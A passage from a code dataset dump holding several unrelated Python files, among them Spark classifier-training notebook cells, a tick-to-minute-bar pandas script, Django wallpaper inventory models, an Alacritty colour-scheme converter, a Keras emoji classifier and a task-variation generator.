desired_categorical_h, desired_numeric_h, cols_to_consider_h, data_.select(cols_to_consider_h).cache(), custom_payload\n\ndesired_categorical_logit, desired_numeric_logit, cols_to_consider_logit, data_logit, custom_payload_logit = get_values_from_hypothesis(2)\n\n#### COMMON #### \nif verbose:\n print(\"Finally, there are {} categorical features and {} numeric features\".format(len(desired_categorical_logit), len(desired_numeric_logit)))\n print(\"data_logit has {} rows\".format(data_logit.count()))\n display(data_logit)\n\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC #### Display Result and Write Models to Storage\n\n# COMMAND ----------\n\n# perform actual training with logit model, get back list of dictionaries (each dic has train, test, val keys)\nlogit_results = model_train_and_eval(data_logit, splits, max_iter=iters, model = \"logit\", collect_metrics = True, custom_payload = custom_payload_logit)\n\nstorage_logit_results = []\nfor lrdic in logit_results:\n # get back well formed metrics dictionary for each time-iteration of the model\n metrics = get_classification_metrics(lrdic, with_display=True, display_train_metrics=True)\n storage_logit_results.append(metrics)\n \nprint(\"Displaying Aggregated Results for Logistic Regression\")\nget_aggregated_classification_metrcs(storage_logit_results, dtype=\"test\", with_display=True)\n \n\n# COMMAND ----------\n\nprint(\"Writing results to storage\")\n# get back formatted dictionary list that is compatible to write to storage\nstorage_logit_results = get_classification_metrics_for_storage_ingestion(storage_logit_results)\nwrite_model_to_storage(storage_logit_results, \"logit_h2y3d_master\")\n\ndisplay(read_model_from_storage(\"logit_h2y3d_master\"))\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC ## Driver Program - Random Forests\n\n# COMMAND ----------\n\n###### WARNING: DO NOT MODIFY THE \"data\" OBJECT ######\n###### IT IS SHARED AMONGST OTHER DRIVER PROGRAMS ######\n\n# verbose logging / debug mode\n# can be changed per driver program\nverbose = True\n\nif verbose:\n print(\"Total number of rows in original dataset are {}\".format(n))\n\ndesired_categorical_rf, desired_numeric_rf, cols_to_consider_rf, data_rf, custom_payload_rf = get_values_from_hypothesis(2)\n\n#### COMMON #### \nif verbose:\n print(\"Finally, there are {} categorical features and {} numeric features\".format(len(desired_categorical_rf), len(desired_numeric_rf)))\n print(\"data_rf has {} rows\".format(data_rf.count()))\n display(data_rf)\n\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC #### Display Result and Write Models to Storage\n\n# COMMAND ----------\n\n# perform actual training with RF model\nrf_results = model_train_and_eval(data_rf, splits, max_iter=iters, model = \"rf\", collect_metrics = True, custom_payload = custom_payload_rf)\n\nstorage_rf_results = []\nfor rfdic in rf_results:\n # get back well formed metrics dictionary for each time-iteration of the model\n metrics = get_classification_metrics(rfdic, with_display=True, display_train_metrics=True)\n storage_rf_results.append(metrics) \n\nprint(\"Displaying Aggregated Results for Random Forests\")\nget_aggregated_classification_metrcs(storage_rf_results, dtype=\"test\", with_display=True)\n\n# COMMAND ----------\n\nprint(\"Writing results to storage\")\n# get back formatted dictionary list that is compatible to write to storage\nstorage_rf_results = get_classification_metrics_for_storage_ingestion(storage_rf_results)\nwrite_model_to_storage(storage_rf_results, \"rf_h2y3d_master\")\n\ndisplay(read_model_from_storage(\"rf_h2y3d_master\"))\n\n# COMMAND ----------\n\n\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC ## Driver Program - GBT\n\n# COMMAND ----------\n\n###### WARNING: DO NOT MODIFY THE \"data\" OBJECT ######\n###### IT IS SHARED AMONGST OTHER DRIVER PROGRAMS ######\n\n# verbose logging / debug mode\n# can be changed per driver program\nverbose = True\n\nif verbose:\n print(\"Total number of rows in original dataset are {}\".format(n))\n\ndesired_categorical_gbt, desired_numeric_gbt, cols_to_consider_gbt, data_gbt, custom_payload_gbt = get_values_from_hypothesis(2)\n \n#### COMMON #### \nif verbose:\n print(\"Finally, there are {} categorical features and {} numeric features\".format(len(desired_categorical_gbt), len(desired_numeric_gbt)))\n print(\"data_gbt has {} rows\".format(data_gbt.count()))\n display(data_gbt)\n\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC #### Display Result and Write Models to Storage\n\n# COMMAND ----------\n\n# perform actual training with GBT model\ngbt_results = model_train_and_eval(data_gbt, splits, max_iter=iters, model = \"gbt\", collect_metrics = True, custom_payload = custom_payload_gbt)\n\nstorage_gbt_results = []\nfor gbtdic in gbt_results:\n # get back well formed metrics dictionary for each time-iteration of the model\n metrics = get_classification_metrics(gbtdic, with_display=True, display_train_metrics=True)\n storage_gbt_results.append(metrics) \n\nprint(\"Displaying Aggregated Results for GBT\")\nget_aggregated_classification_metrcs(storage_gbt_results, dtype=\"test\", with_display=True)\n\n# COMMAND ----------\n\nprint(\"Writing results to storage\")\n# get back formatted dictionary list that is compatible to write to storage\nstorage_gbt_results = get_classification_metrics_for_storage_ingestion(storage_gbt_results)\nwrite_model_to_storage(storage_gbt_results, \"gbt_h2y3d_master\")\n\ndisplay(read_model_from_storage(\"gbt_h2y3d_master\"))\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC ## Driver Program - SVM\n\n# COMMAND ----------\n\n###### WARNING: DO NOT MODIFY THE \"data\" OBJECT ######\n###### IT IS SHARED AMONGST OTHER DRIVER PROGRAMS ######\n\n# verbose logging / debug mode\n# can be changed per driver program\nverbose = True\n\nif verbose:\n print(\"Total number of rows in original data set are {}\".format(data.count()))\n\ndesired_categorical_svm, desired_numeric_svm, cols_to_consider_svm, data_svm, custom_payload_svm = get_values_from_hypothesis(2)\n\n#### COMMON #### \nif verbose:\n print(\"Finally, there are {} categorical features and {} numeric features\".format(len(desired_categorical_svm), len(desired_numeric_svm)))\n print(\"data_gbt has {} rows\".format(data_svm.count()))\n display(data_svm)\n\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC #### Display Result and Write Models to Storage\n\n# COMMAND ----------\n\n# perform actual training with SVM model\nsvm_results = model_train_and_eval(data_svm, splits, max_iter=iters, model = \"svm\", collect_metrics = True, custom_payload = custom_payload_svm)\n\nstorage_svm_results = []\nfor svmdic in svm_results:\n # get back well formed metrics dictionary for each time-iteration of the model\n metrics = get_classification_metrics(svmdic, with_display=True, display_train_metrics=True)\n storage_svm_results.append(metrics) \n\nprint(\"Displaying Aggregated Results for SVM\")\nget_aggregated_classification_metrcs(storage_svm_results, dtype=\"test\", with_display=True)\n\n# COMMAND ----------\n\nprint(\"Writing results to storage\")\n# get back formatted dictionary list that is compatible to write to storage\nstorage_svm_results = get_classification_metrics_for_storage_ingestion(storage_svm_results)\nwrite_model_to_storage(storage_svm_results, \"svm_h2y3d_master\")\n\ndisplay(read_model_from_storage(\"svm_h2y3d_master\"))\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC ## Resources and Links\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC \n# MAGIC - https://docs.databricks.com/applications/machine-learning/automl-hyperparam-tuning/mllib-mlflow-integration.html\n# MAGIC - https://spark.apache.org/docs/latest/api/python/reference/api/pyspark.ml.tuning.ParamGridBuilder.html\n# MAGIC - https://pandas.pydata.org/docs/reference/api/pandas.DataFrame.dropna.html\n# MAGIC - https://scikit-learn.org/stable/modules/generated/sklearn.preprocessing.OneHotEncoder.html\n# MAGIC - https://spark.apache.org/docs/latest/ml-classification-regression.html#binomial-logistic-regression\n# MAGIC - https://towardsdatascience.com/machine-learning-with-pyspark-and-mllib-solving-a-binary-classification-problem-96396065d2aa\n# MAGIC - https://medium.com/swlh/logistic-regression-with-pyspark-60295d41221\n# MAGIC - https://medium.com/@soumyachess1496/cross-validation-in-time-series-566ae4981ce4\n# MAGIC - https://medium.com/@haoyunlai/smote-implementation-in-pyspark-76ec4ffa2f1d\n# MAGIC - https://docs.databricks.com/applications/machine-learning/train-model/mllib/index.html\n# MAGIC - https://github.com/MingChen0919/learning-apache-spark/blob/master/notebooks/06-machine-learning/classification/random-forest-classification.ipynb\n# MAGIC - https://spark.apache.org/docs/latest/ml-classification-regression.html#random-forest-classifier\n\n# COMMAND ----------\n\ndisplay(data)\n\n# COMMAND ----------\n\ndata.dtypes\n\n# COMMAND ----------\n\n\n","sub_path":"Team_07/ModelRuns/Hyp2_Default/Team07_Master_Models_Run_All_Default_Hyp2.py","file_name":"Team07_Master_Models_Run_All_Default_Hyp2.py","file_ext":"py","file_size_in_byte":74287,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"583753640","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Jul 11 09:36:55 2018\n\n@author: admin\n\"\"\"\n\"\"\"\n将历史成交数据变频成分钟K线数据\n根据需求修改 日期 路径 文件名\n保存了9:25集合成交的数据\n\"\"\"\n\nimport pandas as pd\n\nfile=\"./data/600000/2018/7/600000_2018-07-02.csv\"\na=pd.read_csv(file,index_col=0,parse_dates=True)\nb=[pd.Timestamp(\"2018-07-02 \"+a['time'][i]) for i in range(len(a['time']))]\na.index=b\nprice=a.price.resample('1Min').ohlc()\nvolume=pd.DataFrame(a.volume.resample('1Min').sum(),index=price.index,columns=['volume'])\namount=pd.DataFrame(a.amount.resample('1Min').sum(),index=price.index,columns=['amount'])\nre=pd.concat([price,volume,amount],sort=True,axis=1)\nre=re.dropna(how='any')\nre=re.drop(index=pd.Timestamp(\"2018-07-02 \"+\"09:29:00\"))\n#需更改为保存的文件名\nfn=\"600000_2018-07-02.csv\"\nre.to_csv(\"0.csv\")\n","sub_path":"fre_convert.py","file_name":"fre_convert.py","file_ext":"py","file_size_in_byte":856,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"601859270","text":"from calc import add, product\nimport pytest\n\n# datas\nadds_data = (\n [0, 0, 0],\n [0, 10, 10],\n [10, 0, 10],\n [5, 5, 10]\n)\n\nproducts_data = (\n [0, 0, 0],\n [0, 10, 0],\n [10, 0, 0],\n [5, 5, 25]\n)\n\n\ndef create_test(f, args):\n def created_test():\n for _ in args:\n length = len(_)\n arg = _[:length-1]\n result = _[length-1]\n print(f\"{arg} -> {result}\")\n assert f(*arg) == result\n return created_test\n\n\n# tests\ntest_add = create_test(add, adds_data)\ntest_product = create_test(product, products_data)","sub_path":"test_calc.py","file_name":"test_calc.py","file_ext":"py","file_size_in_byte":583,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"643698213","text":"from django.contrib.contenttypes.fields import GenericRelation\nfrom django.db import models\n\nfrom commodity_turnover.models import ReceiptContent, SellingContent\nfrom .managers import VendorCodeManager, TheConsignmentManager, TheConsignmentAvailableManager\n\n\nclass Brand(models.Model):\n COUNTRIES_OF_ORIGIN = (\n ('RU', 'Россия'),\n ('CH', 'Китай'),\n ('IT', 'Италия'),\n ('DE', 'Германия'),\n ('BE', 'Бельгия'),\n ('KR', 'Корея'),\n ('UA', 'Украина'),\n ('TR', 'Турция'),\n ('TW', 'Тайвань'),\n ('FR', 'Франция'),\n )\n\n name = models.CharField('Бренд', max_length=100, null=True, blank=True)\n short_name = models.CharField('Сокращенное название', max_length=50, blank=True)\n country_of_origin = models.CharField('Страна производства', max_length=2, choices=sorted(COUNTRIES_OF_ORIGIN))\n company_of_origin = models.CharField('Компания производитель', max_length=100, blank=True)\n\n def __str__(self):\n if self.name:\n return '{0} ({1})'.format(self.name, self.country_of_origin)\n return '{0} ({1})'.format(self.company_of_origin, self.country_of_origin)\n\n class Meta:\n ordering = ('name', 'country_of_origin')\n verbose_name = 'Бренд'\n verbose_name_plural = 'Бренды'\n unique_together = ('name', 'country_of_origin')\n\n\nclass VendorCode(models.Model):\n RAPPORT_TYPES = (\n (1, 'произвольный'),\n (2, 'прямой'),\n (3, 'со смещением'),\n (4, 'обратный'),\n )\n MARKING = (\n ('А', 'Акриловые'),\n ('Б', 'Бумажные'),\n ('ВВ', 'Вспененный винил'),\n ('ПВ', 'Плоский винил'),\n ('РВ', 'Рельефный винил'),\n ('СТЛ', 'Стеклообои'),\n ('СТР', 'Структурные'),\n ('ТСК', 'Текстильные'),\n )\n BASIS_MATERIALS = (\n (1, 'бумага'),\n (2, 'флизелин'),\n )\n COVERING_MATERIAL = (\n (1, 'бумага'),\n (2, 'винил'),\n )\n MOISTURE_RESISTANCES = (\n ('В-0', 'Влагостойкие при наклеивании'),\n ('В-1', 'Влагостойкие при эксплуатации'),\n ('М-1', 'Устойчивые к мытью (моющиеся)'),\n ('М-2', 'Высокоустойчивые к мытью'),\n ('М-3', 'Устойчивые к трению'),\n ('М-4', 'Высокоустойчивые к трению'),\n )\n RESISTANCE_TO_LIGHT = (\n (3, 'средняя'),\n (4, 'удовлетворительная'),\n (5, 'хорошая'),\n (6, 'очень хорошая'),\n (7, 'отличная'),\n )\n GLUING = (\n ('БК', 'Клей наносится на обои'),\n ('ОК', 'Клей наносится на осн��ву'),\n ('ГК', 'Полотно наклеиваемые горизонтально'),\n ('Г', 'Гуммированные обои'),\n )\n REMOVAL = (\n (1, 'Снимаемые без остатка'),\n (2, 'Расслаиваемые'),\n (3, 'Увлажняемые для снятия'),\n )\n\n brand = models.ForeignKey(Brand, null=True, blank=True)\n vendor_code = models.CharField('Артикул', max_length=20, unique=True)\n width = models.FloatField('Ширина', default=1.06, help_text='м')\n length = models.FloatField('Длина', default=10.05, help_text='м')\n combination = models.ManyToManyField('self', verbose_name='Компаньоны', blank=True)\n discontinued = models.BooleanField('Снят с производства', default=False)\n pack = models.PositiveSmallIntegerField('Рулонов в коробке', null=True, blank=True)\n rapport = models.CharField('Раппорт', max_length=9, default=0, help_text='см', blank=True)\n rapport_type = models.PositiveSmallIntegerField(\n 'Тип раппорта', choices=RAPPORT_TYPES, default=1, null=True, blank=True\n )\n marking = models.CharField('Маркировка', max_length=3, choices=MARKING, blank=True)\n basis_material = models.PositiveSmallIntegerField(\n 'Материал основы', choices=BASIS_MATERIALS, default=2, null=True, blank=True\n )\n covering_material = models.PositiveSmallIntegerField(\n 'Материал покрытия', choices=COVERING_MATERIAL, default=2, null=True, blank=True\n )\n moisture_resistance = models.CharField(\n 'Влагостойкость', max_length=3, choices=MOISTURE_RESISTANCES, default='М-2', null=True, blank=True\n )\n resistance_to_light = models.PositiveSmallIntegerField(\n 'Светостойкость', choices=RESISTANCE_TO_LIGHT, default=5, null=True, blank=True\n )\n gluing = models.CharField('Наклеивание', max_length=2, choices=GLUING, default='ОК', blank=True)\n removal = models.PositiveSmallIntegerField('Снятие со стены', choices=REMOVAL, default=1, null=True, blank=True)\n\n objects = VendorCodeManager()\n\n def __str__(self):\n return self.vendor_code\n\n class Meta:\n verbose_name = 'Обои (артикул)'\n verbose_name_plural = 'Обои (артикулы)'\n\n\nclass TheConsignment(models.Model):\n STILLAGES = ((x, x) for x in range(1, 11))\n CELLS = ((x, x) for x in range(1, 21))\n\n vendor_code = models.ForeignKey(VendorCode, verbose_name='Артикул')\n the_consignment = models.CharField('Партия', max_length=20, blank=True)\n retail_price = models.PositiveIntegerField('Розничная цена', default=0)\n wholesale_price_pack = models.PositiveSmallIntegerField('Оптовая цена (кор)', null=True, blank=True)\n wholesale_price_item = models.PositiveSmallIntegerField('Оптовая цена (рул)', null=True, blank=True)\n count = models.PositiveSmallIntegerField('Количество рулонов')\n stillage = models.PositiveSmallIntegerField('Стеллаж', choices=STILLAGES, null=True, blank=True)\n cell = models.PositiveSmallIntegerField('Ячейка', choices=CELLS, null=True, blank=True)\n showcase = models.BooleanField('На витрине?', default=True)\n\n sellings = GenericRelation(SellingContent)\n receipts = GenericRelation(ReceiptContent)\n\n objects = TheConsignmentManager()\n availables = TheConsignmentAvailableManager()\n\n def __str__(self):\n if self.get_stillage():\n return '{0} [{1}] — {2}рул ({3})'.format(\n self.vendor_code,\n self.the_consignment,\n self.count,\n self.get_stillage(),\n )\n else:\n return '{0} [{1}] — {2}'.format(self.vendor_code, self.the_consignment, self.count)\n\n def get_pack(self):\n return self.vendor_code.pack\n\n def get_for_selling(self):\n return '{0} [{1}]'.format(\n self.vendor_code,\n self.the_consignment\n )\n\n def get_sum(self):\n return self.count * self.retail_price\n\n def get_stillage(self):\n if self.cell:\n return '{0}/{1}'.format(self.stillage, self.cell)\n elif self.stillage:\n return self.stillage\n else:\n return ''\n\n class Meta:\n verbose_name = 'Обои (партия)'\n verbose_name_plural = 'Обои (партии)'\n unique_together = ('vendor_code', 'the_consignment')\n","sub_path":"main/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":7694,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"203823374","text":"import logging\nimport numpy as np\nfrom q_learner import DeepLearner\nfrom framework import Onp_seq\n\noutput_dir = 'outputs/mc_onp_seq'\nlearner_class = DeepLearner\nupdate_per_sim = 1\nsim_per_light_eval = 3125\nsim_per_record_save = 31250\ntotal_sim = 31250\n\ndef main(argv=None):\n logging.disable(logging.INFO)\n\n Onp_seq(output_dir,\n learner_class,\n update_per_sim,\n sim_per_light_eval,\n sim_per_record_save,\n total_sim)()\n\nif __name__ == '__main__':\n main()\n","sub_path":"deeprl_project/mountainCar_onPolicy/onp_seq.py","file_name":"onp_seq.py","file_ext":"py","file_size_in_byte":507,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"585496223","text":"#!/user/bin/env python\n\n\"\"\"Update pip-only installed packages in a conda environment\"\"\"\nimport logging\nfrom subprocess import run\nimport yaml\n\n\n# configure logging\nlogger = logging.getLogger(__name__)\nlogger.addHandler(logging.NullHandler())\n\ndef conda_pip_update():\n \"\"\"Update pip-only installed packages in a conda environment\"\"\"\n\n # Get the package list\n result = run(['conda', 'env', 'export'], capture_output=True)\n if result.returncode:\n raise RuntimeError(\n 'Update failed: {}'.format(result.stderr)\n )\n logger.debug('result.stdout = %s', result.stdout)\n\n # Convert from YAML to python structure\n dependencies = yaml.load(result.stdout)['dependencies']\n logger.debug('dependencies = %s', dependencies)\n\n # Find the pip-only dependencies\n for item in dependencies:\n if isinstance(item, dict) and 'pip' in item:\n pip_deps = item['pip']\n break\n else:\n logger.info('No pip dependencies found.')\n return True\n logger.debug('pip_deps = %s', pip_deps)\n\n # Separate out the package names and versions\n packages = {\n name: version\n for name, version in [\n item.split('==')\n for item in pip_deps\n ]\n }\n logger.debug('packages = %s', packages)\n\n # Now do the updating.\n for name in packages:\n logger.info('\\nUpdate %s...', name)\n run(['pip', 'install', '-U', name])\n\n\n# Main\nif __name__ == '__main__':\n import argparse\n\n parser = argparse.ArgumentParser(\n description='Update pip installed packages in a conda environment'\n )\n parser.add_argument(\n '-d', '--debug',\n help='Produce debugging output',\n action='store_const', dest='log_level', const=logging.DEBUG,\n default=logging.INFO\n )\n args = parser.parse_args()\n\n logger.setLevel(args.log_level)\n logger.addHandler(logging.StreamHandler())\n\n conda_pip_update()\n","sub_path":"python_support/lib/conda_pip_update.py","file_name":"conda_pip_update.py","file_ext":"py","file_size_in_byte":1951,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"439494041","text":"#!/usr/bin/env python3\n\nimport collections\nimport logging\nimport shutil\nimport json\nimport sys\nimport os\n\nimport yaml\n\nlog = logging.getLogger(__name__)\n\nXDG_CONFIG_HOME = os.environ.get('XDG_CONFIG_HOME', os.path.expanduser('~/.config'))\nALACONF_FN = os.path.join(XDG_CONFIG_HOME, 'alacritty', 'alacritty.yml')\n\nPalette = collections.namedtuple('Pallete', ['black', 'red', 'green', 'yellow', 'blue', 'magenta', 'cyan', 'white'])\n\n\nclass AttrDict(dict):\n \"\"\"\n >>> m = AttrDict(omg=True, whoa='yes')\n \"\"\"\n\n def __init__(self, *args, **kwargs):\n super(AttrDict, self).__init__(*args, **kwargs)\n self.__dict__ = self\n\n\ndef slurp_yaml(fn):\n with open(fn, 'r') as fh:\n # JSON is a subset of YAML.\n contents = yaml.load(fh)\n return contents\n\n\ndef fixup_hex_color(*args):\n for arg in args:\n val = '0x%s' % arg.strip('#')\n yield val\n\n\ndef convert(tilix_scheme):\n j = AttrDict(tilix_scheme)\n palette = list(fixup_hex_color(*j.palette))\n\n pal_normal = Palette(*palette[:8])\n pal_bold = Palette(*palette[8:])\n\n colors = {\n 'primary': dict(zip(\n ['background', 'foreground'],\n fixup_hex_color(j['background-color'], j['foreground-color']),\n )),\n 'cursor': dict(zip(\n ['text', 'cursor'],\n fixup_hex_color(j['cursor-background-color'], j['cursor-foreground-color']),\n )),\n 'normal': dict(pal_normal._asdict()),\n 'bright': dict(pal_bold._asdict()),\n }\n\n return colors\n\n\ndef patch_alaconf_colors(colors, alaconf_fn=ALACONF_FN):\n with open(alaconf_fn, 'r') as fh:\n ac_raw = fh.read()\n\n # Write config file taking care to not remove delicious comments.\n # Sure, it's janky, but less so than losing comments.\n skipping = False\n lines = []\n for line in ac_raw.splitlines():\n if skipping:\n if line and line[0].isalpha():\n skipping = False\n\n elif line.startswith('colors:'):\n skipping = True\n\n if not skipping:\n if not line and lines and not lines[-1]:\n continue\n lines.append(line)\n\n temp_fn = '%s.tmp' % alaconf_fn\n backup_fn = '%s.bak' % alaconf_fn\n\n with open(temp_fn, 'w') as fh:\n fh.write('\\n'.join(lines))\n fh.write('\\n')\n yaml.safe_dump(dict(colors=colors), fh)\n\n shutil.copyfile(alaconf_fn, backup_fn)\n os.rename(temp_fn, alaconf_fn)\n\n\ndef main(argv=sys.argv):\n if len(argv) != 2:\n print(\"Usage: %s TILIX_SCHEME_JSON_FILE\" % sys.executable, file=sys.stderr)\n sys.exit(1)\n\n fn = argv[1]\n\n tilix_scheme = slurp_yaml(fn)\n colors = convert(tilix_scheme)\n patch_alaconf_colors(colors)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"scripts/apply-tilix-colorscheme.py","file_name":"apply-tilix-colorscheme.py","file_ext":"py","file_size_in_byte":2762,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"494380435","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Nov 16 20:50:34 2018\n\n@author: minmh\nGloVe: https://nlp.stanford.edu/projects/glove/\n\"\"\"\n\nimport numpy as np\nfrom keras.models import Model\nfrom keras.layers import Dense, Input, Dropout, LSTM, Activation\nfrom keras.layers.embeddings import Embedding\nfrom keras.preprocessing import sequence\nfrom keras.initializers import glorot_uniform\nfrom utils import *\nimport emoji\n\ndef sentences_to_indices(X, word_to_index, max_len):\n m = X.shape[0]\n X_indices = np.zeros((m, max_len))\n \n for i in range(m):\n sentence_words = X[i].lower().split()\n \n j = 0\n for w in sentence_words:\n X_indices[i,j] = word_to_index[w]\n j = j + 1\n \n return X_indices\n\n\ndef pretrained_embedding_layer(word_to_vec_map, word_to_index):\n vocab_len = len(word_to_index) + 1 # adding 1 to fit Keras embedding (requirement)\n emb_dim = word_to_vec_map[\"car\"].shape[0]\n \n emb_matrix = np.zeros((vocab_len, emb_dim))\n \n for word, index in word_to_index.items():\n emb_matrix[index,:] = word_to_vec_map[word]\n \n embedding_layer = Embedding(vocab_len, emb_dim, trainable=False)\n embedding_layer.build((None,))\n embedding_layer.set_weights([emb_matrix])\n \n return embedding_layer\n\n\ndef Emojify(input_shape, word_to_vec_map, word_to_index):\n sentence_indices = Input(input_shape, dtype='int32')\n embedding_layer = pretrained_embedding_layer(word_to_vec_map, word_to_index)\n embeddings = embedding_layer(sentence_indices)\n \n X = LSTM(128, return_sequences=True)(embeddings)\n X = Dropout(0.5)(X)\n X = LSTM(128)(X)\n X = Dropout(0.5)(X)\n X = Dense(5, activation='softmax')(X)\n X = Activation('softmax')(X)\n \n model = Model(inputs=sentence_indices, outputs=X)\n return model\n\n\nX_train, Y_train = read_csv('data/train_emoji.csv')\nX_test, Y_test = read_csv('data/tesss.csv')\nmaxLen = len(max(X_train, key=len).split())\nword_to_index, index_to_word, word_to_vec_map = read_glove_vecs('data/glove.6B.50d.txt')\n\nmodel = Emojify((maxLen,), word_to_vec_map, word_to_index)\nmodel.summary()\nmodel.compile(loss='categorical_crossentropy', optimizer='adam', metrics=['accuracy'])\nX_train_indices = sentences_to_indices(X_train, word_to_index, maxLen)\nY_train_oh = convert_to_one_hot(Y_train, C = 5)\n\nmodel.fit(X_train_indices, Y_train_oh, epochs=50, batch_size=32, shuffle=True)\n\n# Test\nX_test_indices = sentences_to_indices(X_test, word_to_index, max_len=maxLen)\nY_test_oh = convert_to_one_hot(Y_test, C = 5)\nloss, acc = model.evaluate(X_test_indices, Y_test_oh)\nprint(\"Test accuracy=\", acc)\n\n# Predict\nx_test = np.array(['I am not feeling happy'])\nX_test_indices = sentences_to_indices(x_test, word_to_index, maxLen)\nprint(x_test[0] + ' ' + label_to_emoji(np.argmax(model.predict(X_test_indices))))\n\n\n ","sub_path":"Miscellaneous/Emojify/emojify.py","file_name":"emojify.py","file_ext":"py","file_size_in_byte":2857,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"27424658","text":"import music21 as m21\nimport os\nimport pathlib\n\n\ndef Split():\n #original\n midi_data = m21.converter.parse(\"{}.mid\".format(filename))\n fn = midi_data.write('musicxml',\"./{}.xml\".format(filename))\n piece= m21.converter.parse(\"{}.xml\".format(filename))\n measure = 0\n for syousetu in piece[1]:\n measure=measure+1\n\n\n\nif __name__ == \"__main__\":\n #originalとpracticeのパスを取得する\n first_dir = os.getcwd()\n #print(first_dir)\n music_name_path = pathlib.Path('Dataset').glob('*')\n for name1 in music_name_path:\n practice_number = pathlib.Path('Dataset/',name1.name).glob('*')\n for name2 in practice_number:\n print(name2)\n Save_Path = 'Dataset/{}/{}/120'.format(name1.name,name2.name)\n Original = list(pathlib.Path('Dataset/{}/{}/120/'.format(name1.name,name2.name)).glob('original.*'))\n Practice = list(pathlib.Path('Dataset/{}/{}/120/'.format(name1.name,name2.name)).glob('Practice.*'))\n Do_check = list(pathlib.Path('Dataset/{}/{}/120/'.format(name1.name,name2.name)).glob('original_1.*'))\n if(len(Original) != 0 and len(Practice) != 0 and len(Do_check) == 0):\n Original_path=Original[0].resolve()\n Practice_path=Practice[0].resolve()\n print(Practice_path)\n os.chdir(Save_Path) \n Split()\n os.chdir(first_dir)","sub_path":"プリプロ/split.py","file_name":"split.py","file_ext":"py","file_size_in_byte":1428,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"331897391","text":"from random import *\nfrom DataBaseConnection import DataBaseConnection\nimport json\nimport os, sys\n \nclass VariationAlgorithm:\n \n def __init__(self, nameOfTask, idPattern):\n directoryPath = r'/home/luka/Desktop/Tasks'\n self.nameOfTask = nameOfTask\n self.idPattern = idPattern\n self.DirectoryPath = directoryPath + '/' + self.nameOfTask\n \n def prepareDirectory(self):\n if not os.path.exists(self.DirectoryPath):\n os.makedirs(self.DirectoryPath)\n \n newCountFilePath = self.DirectoryPath + '/CountOfTasks.txt'\n newCountFile = open(newCountFilePath, 'a')\n newCountFile.close()\n \n writeCount = open(newCountFilePath, 'w')\n writeCount.write('0')\n writeCount.close()\n\n def createNewDictionary(self, variables):\n orderNumber = self.orderNumber()\n DictionaryPath = self.DirectoryPath + '/Dictionary' + str(orderNumber) + '.json'\n \n with open(DictionaryPath, 'w') as writeFile:\n json.dump(variables, writeFile)\n\n countPath = self.DirectoryPath + '/CountOfTasks.txt' \n countWrite = open(countPath, 'w')\n countWrite.write(str(orderNumber + 1))\n countWrite.close()\n \n def checkDictionary(self, variables):\n countOfTasks = self.orderNumber()\n \n for dictNumber in range(countOfTasks):\n dictPath = self.DirectoryPath + '/Dictionary' + str(dictNumber) + '.json'\n \n with open(dictPath) as readFile:\n dictionary = json.load(readFile)\n \n intersection = set(variables.items() & dictionary.items())\n return not(len(intersection) == len(variables))\n \n def matchLatexPattern(self, variables, typeOfMatching):\n latexPath = self.DirectoryPath + '/LatexPattern' + typeOfMatching + '.txt'\n latexPattern = open(latexPath,'r+')\n rows = latexPattern.readlines()\n writeRow = \"\"\n \n for row in rows:\n if row[0] == '/':\n writeRow += '

    ' + row.rstrip() + '


    ' + '\\n'\n continue\n \n temporaryRow=\"\"\n splitedRow = row.split(\" \")\n\n for i in range(len(splitedRow)):\n if splitedRow[i] in variables:\n temporaryRow += str(variables[splitedRow[i]])\n else:\n temporaryRow += splitedRow[i]\n writeRow += '

    ' + temporaryRow.rstrip() + '


    ' + '\\n'\n \n taskText = self.filterVariation(writeRow)\n self.saveVariation(taskText, typeOfMatching)\n latexPattern.close()\n \n def filterVariation(self, stringTask):\n tempString = \"\"\n for i in range(len(stringTask)):\n if stringTask[i] == '1' and stringTask[i+1] == 'x':\n continue\n if stringTask[i] == '/':\n continue\n else:\n tempString += stringTask[i]\n return tempString\n\n def orderNumber(self):\n countPath = self.DirectoryPath + '/CountOfTasks.txt'\n countRead = open(countPath, 'r')\n orderNumber = int(countRead.read())\n countRead.close()\n return orderNumber\n \n def saveVariation(self, variation, typeOfSaving):\n orderNumber = self.orderNumber()\n newVariationPath = self.DirectoryPath + '/' + typeOfSaving + str(orderNumber) + '.txt'\n \n writeVariation = open(newVariationPath, 'w')\n writeVariation.write(variation)\n writeVariation.close()\n \n def divide(self, dividend, divisor):\n return dividend == 0 or divisor == 0\n\n def deleteVariations(self):\n connection = DataBaseConnection()\n\n cursorDelete = connection.getCursor()\n queryDelete = \"DELETE FROM variation WHERE id_pattern_fk = %s\"\n cursorDelete.execute(queryDelete, (self.idPattern))\n cursorDelete.close()\n \n numberOfVariations = self.orderNumber()\n for i in range(numberOfVariations):\n stepByStepPath = self.DirectoryPath + '/' + 'StepByStep' + str(i) + '.txt'\n taskPath = self.DirectoryPath + '/' + 'Task' + str(i) + '.txt'\n dictionaryPath = self.DirectoryPath + '/' + 'Dictionary' + str(i) + '.json'\n\n 